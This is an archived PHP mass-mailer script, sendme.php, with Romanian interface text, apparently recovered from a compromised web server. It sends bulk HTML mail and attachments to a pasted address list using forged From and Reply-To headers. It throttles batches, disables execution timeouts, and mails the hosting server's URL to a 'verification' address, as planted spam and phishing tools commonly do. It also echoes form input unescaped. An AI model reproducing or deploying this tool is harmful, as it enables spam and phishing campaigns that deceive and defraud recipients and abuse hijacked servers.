home *** CD-ROM | disk | FTP | other *** search
/ 195.14.171.150 / 195.14.171.150.tar / 195.14.171.150 / sendme.php < prev   
PHP Script  |  2015-05-19  |  7KB  |  269 lines

  1. <?
  2. error_reporting(E_ALL ^ E_NOTICE);
  3. function doset() {
  4.     if( !ini_get('safe_mode') )
  5.     {
  6.         set_time_limit(0);
  7.         ini_set("max_execution_time", 0);
  8.         ini_set("memory_limit", "256M");
  9.         ignore_user_abort(true);
  10.     }
  11.     else echo "this is a safe_mode one and will timeout.. cannot set_time_limit";
  12.     ob_start();
  13. }
  14. doset();
  15.  
  16.  
  17. if ($_POST['action']=="send"){
  18.  
  19.         $message = urlencode($_POST['message']);
  20.  
  21.         $message = ereg_replace("%5C%22", "%22", $message);
  22.  
  23.         $message = urldecode($message);
  24.         $message = stripslashes($message);
  25.         $subject = stripslashes($_POST['subject']);
  26.  
  27. }
  28. ?>
  29.  
  30. <form name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>" enctype="multipart/form-data">
  31.  
  32.   <br>
  33.  
  34.   <table width="100%" border="0">
  35.  
  36.     <tr> 
  37.  
  38.       <td width="10%"> 
  39.  
  40.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 
  41.  
  42.           Email:</font></div>
  43.  
  44.       </td>
  45.  
  46.       <td width="18%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  47.  
  48.         <input type="text" name="from" value="<? print $_POST['from']; ?>" size="30">
  49.  
  50.         </font></td>
  51.  
  52.       <td width="31%"> 
  53.  
  54.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 
  55.  
  56.           Name:</font></div>
  57.  
  58.       </td>
  59.  
  60.       <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  61.  
  62.         <input type="text" name="realname" value="<? print $_POST['realname']; ?>" size="30">
  63.  
  64.         </font></td>
  65.  
  66.     </tr>
  67.  
  68.     <tr> 
  69.  
  70.       <td width="10%"> 
  71.  
  72.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  73.  
  74.       </td>
  75.  
  76.       <td width="18%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  77.  
  78.         <input type="text" name="replyto" value="<? print $_POST['replyto']; ?>" size="30">
  79.  
  80.         </font></td>
  81.  
  82.       <td width="31%"> 
  83.  
  84.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Attach 
  85.  
  86.           File:</font></div>
  87.  
  88.       </td>
  89.  
  90.       <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  91.  
  92.         <input type="file" name="file" size="30">
  93.  
  94.         </font></td>
  95.  
  96.     </tr>
  97.  
  98.     <tr> 
  99.  
  100.       <td width="10%"> 
  101.  
  102.         <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  103.  
  104.       </td>
  105.  
  106.       <td colspan="3"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  107.  
  108.         <input type="text" name="subject" value="<? print stripslashes($_POST['subject']); ?>" size="90">
  109.  
  110.         </font></td>
  111.  
  112.     </tr>
  113.  
  114.     <tr valign="top"> 
  115.  
  116.       <td colspan="3"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  117.  
  118.         <textarea name="message" cols="60" rows="10"><? print stripslashes($_POST['message']); ?></textarea>
  119.  
  120.         <br>
  121.  
  122.         <input type="radio" name="contenttype" value="plain">
  123.  
  124.         Plain 
  125.  
  126.         <input type="radio" name="contenttype" value="html" checked>
  127.  
  128.         HTML 
  129.  
  130.         <input type="hidden" name="action" value="send">
  131.  
  132.         <input type="submit" value="Send Message">
  133.  
  134.         </font></td>
  135.  
  136.       <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
  137.  
  138.         <textarea name="emaillist" cols="30" rows="10"></textarea>
  139.  
  140.         <br>
  141.         <input type="text" name="emailfinal" value="<? print $_POST['emailfinal']; ?>" size="22"> (EMAIL VERIFICARE)
  142.         </font></td>
  143.     </tr>
  144.   </table>
  145.   <p>La fiecare <input type="text" name="emailz" value="<? print $_POST['emailz']; ?>" size="3"> mailz, asteapta <input type="text" name="wait" value="<? print $_POST['wait']; ?>" size="3"> secunde<br></p>
  146. </form>
  147.  
  148.  
  149.  
  150. <?
  151.  
  152. if ($_POST['action']=="send"){
  153.         $message = urlencode($_POST['message']);
  154.  
  155.         $message = ereg_replace("%5C%22", "%22", $message);
  156.  
  157.         $message = urldecode($message);
  158.         $message = stripslashes($message);
  159.         $subject = stripslashes($_POST['subject']);
  160.  
  161.  
  162.         $from=$_POST['from'];
  163.         $realname=$_POST['realname'];
  164.         $replyto=$_POST['replyto'];
  165.  
  166.  
  167.         $emaillist=$_POST['emaillist'];
  168.        
  169.         $contenttype=$_POST['contenttype'];
  170.  
  171.  
  172.         $allemails = split("\n", $emaillist);
  173.  
  174.         $numemails = count($allemails);
  175.         
  176.         
  177.  
  178.  
  179.         #Open the file attachment if any, and base64_encode it for email transport
  180.         $file_name = $_FILES['file']['name'];
  181.         $file = $_FILES['file'];
  182.         if ($file_name){
  183.  
  184.                 @copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");
  185.  
  186.                 $content = fread(fopen($file,"r"),filesize($file));
  187.  
  188.                 $content = chunk_split(base64_encode($content));
  189.  
  190.                 $uid = strtoupper(md5(uniqid(time())));
  191.  
  192.                 $name = basename($file);
  193.  
  194.         }
  195.  
  196.         
  197.  
  198.         for($x=0; $x<$numemails; $x++){
  199.  
  200.                 if($_POST['emailz'] && $_POST['wait'])
  201.                         if( fmod($x,$emailz) == 0 ) {
  202.                                 echo "-------------------------------> SUNT LA emailul $x, astept $wait secunde.<br>";
  203.                                 sleep($wait);
  204.                         }
  205.                 $to = $allemails[$x];
  206.  
  207.                 if ($to){
  208.  
  209.                     $to = ereg_replace(" ", "", $to);
  210.                     $to = trim($to);
  211.     
  212.                     $message = ereg_replace("&email&", $to, $message);
  213.     
  214.                     $subject = ereg_replace("&email&", $to, $subject);
  215.     
  216.                     print "Sending mail to $to.......";
  217.     
  218.                     flush();
  219.                     ob_flush();
  220.     
  221.                     $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  222.     
  223.                     $header .= "MIME-Version: 1.0\r\n";
  224.     
  225.                     if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  226.     
  227.                     if ($file_name) $header .= "--$uid\r\n";
  228.     
  229.                     $header .= "Content-Type: text/$contenttype\r\n";
  230.     
  231.                     $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  232.     
  233.                     $header .= "$message\r\n";
  234.     
  235.                     if ($file_name) $header .= "--$uid\r\n";
  236.     
  237.                     if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  238.     
  239.                     if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  240.     
  241.                     if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  242.     
  243.                     if ($file_name) $header .= "$content\r\n";
  244.     
  245.                     if ($file_name) $header .= "--$uid--";
  246.     
  247.                     @mail($to, $subject, "", $header);
  248.     
  249.                     print " S-o dus<br>";
  250.     
  251.                     flush();
  252.                     ob_flush();
  253.  
  254.                 }
  255.  
  256.         }//end for
  257.         
  258.         if( strpos($_POST['emailfinal'], "@") !== false){
  259.             @mail($_POST['emailfinal'], $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], "test");
  260.         }
  261.                 //$emaillist .= "\n". $_POST['emailfinal'];
  262.  
  263.  
  264.  
  265. }
  266.  
  267.  
  268. ?>
  269.